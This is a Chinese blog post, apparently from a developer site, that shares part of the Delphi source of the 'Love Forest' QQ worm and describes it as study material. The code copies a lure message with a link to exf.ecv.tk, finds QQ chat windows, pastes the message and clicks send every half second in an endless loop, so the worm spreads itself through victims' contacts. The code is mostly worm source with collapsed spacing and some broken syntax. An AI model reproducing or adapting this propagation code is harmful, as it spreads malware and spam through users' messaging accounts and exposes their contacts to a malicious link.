`
txf2004
  • 浏览: 6832183 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

爱情森林病毒部分源代码

阅读更多
爱情森林病毒部分源代码,有空学习学习,善与恶的距离只有一步,用的对了就是善良的。
unitqqworm;
interface

uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,forms,
Dialogs,StdCtrls,ExtCtrls,ComCtrls;

private
...{Privatedeclarations}
procedureMySendMessage;
procedureMyTalkEach;
public
procedureQQStart;
...{Publicdeclarations}
end;


implementation

...{$R*.dfm}

procedureMySendMessage;
var
hParent,hButton,hMemo,clp:HWND;
texta:TCustomEdit;
begin
texta:
='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;
try
//找发送消息的QQ窗口
hParent:=FindWindow(nil,'发送消息');
//然后找回话时用的编辑窗口,Point函数用于返回一个TPoint类型变量
hMemo:=ChildWindowFromPointEx(hParent,Point(50,100),CWP_ALL);
//找到“送讯息”按钮的句柄
hButton:=FindWindowEx(hParent,0,nil,'送讯息(&S)');
if(hParent=0)or(hMemo=0)or(hButton=0)then
...{MessageBox(Handle,'没有找到发送窗口,请重试!','错误',MB_ICONWARNING)}
MyTalkEach
else
begin
//向发送消息中的回话编辑框发送粘贴消息
SendMessage(hMemo,WM_PASTE,0,0);
//向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
//如果发生意外错误给出提示
MyTalkEach;
...{MessageBox(Handle,'发送消息出错,请重试!','错误',MB_ICONWARNING);

end;

end;
procedureMyTalkEach;
var
hParent,hButton,hMemo:HWND;
texta:TCustomEdit;
begin
texta:
='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;

try
//找对话模式中窗口
//ShowMessage('test');
hParent:=FindWindow(nil,'对话模式');
//找到对话模式中的回话编辑框
hMemo:=ChildWindowFromPointEx(hParent,Point(50,300),
CWP_ALL);
hButton:
=FindWindowEx(hParent,0,nil,'送讯息(&S)');
//如果有任何一个句柄没有找到都不能完成发送,并给出提示
//ifhMemo=0then
//ShowMessage('1');
if(hParent=0)or(hMemo=0)or(hButton=0)thenbegin
...{MessageBox(Handle,'没有找到发送窗口,请切换到双人对话模式!','错误',
MB_ICONWARNING);}

MySendMessage;
//ShowMessage('go');
end
else
begin
//向对话模式中的回话编辑框发送粘贴消息
SendMessage(hMemo,WM_PASTE,0,0);
//向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
//如果发生意外错误给出提示
MySendMessage;
...{MessageBox(Handle,'发送消息出错,请重试!','错误',
MB_ICONWARNING);}

end;
end;

procedureQQStart;
var
k:integer;
Begin
k:
=0;
whilek=0do
Begin
Sleep(
500);
MySendMessage;
End;

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics